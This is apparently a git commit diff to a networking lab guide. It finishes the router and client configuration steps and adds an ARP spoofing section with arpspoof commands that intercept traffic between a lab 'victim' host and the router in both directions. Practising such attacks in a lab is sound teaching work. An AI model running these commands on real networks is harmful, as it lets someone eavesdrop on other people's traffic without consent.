Finalize Client Configuration and ARP Spoofing chapters
This commit is contained in:
parent
43f81f7a1e
commit
193389b229
1 changed files with 18 additions and 4 deletions
|
@ -4,8 +4,7 @@
|
|||
![](./network_connection.png)
|
||||
|
||||
## Router Configuration
|
||||
- `XX`:
|
||||
Workplace number
|
||||
- `XX`: Workplace number
|
||||
|
||||
```sh
|
||||
# Enter configuration
|
||||
|
@ -44,14 +43,29 @@ exit
|
|||
# Enable DHCP for inner network
|
||||
service dhcp gi0/1
|
||||
exit
|
||||
configure terminal
|
||||
|
||||
# Set default gateway
|
||||
ip route 0.0.0.0 0.0.0.0 10.3.44.1
|
||||
exit
|
||||
disable
|
||||
```
|
||||
|
||||
## Client Configuration
|
||||
- `X`: Workplace number
|
||||
|
||||
```sh
|
||||
ifconfig eth0 0.0.0.0
|
||||
dhclient eth0
|
||||
sudo -i
|
||||
ifconfig eth0 192.168.1.1X netmask 255.255.255.0
|
||||
# watch the result using the command below
|
||||
ip addr show
|
||||
```
|
||||
|
||||
## ARP Spoofing
|
||||
```sh
|
||||
# sudo arpspoof -i [interface] -t <victim> <victim's-target>
|
||||
# Spy traffic from victim to router
|
||||
sudo arpspoof -i eth0 -t 192.168.1.11 192.168.1.1
|
||||
# Spy traffic from router to victim
|
||||
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.11
|
||||
```
|
||||
|
|
Loading…
Reference in a new issue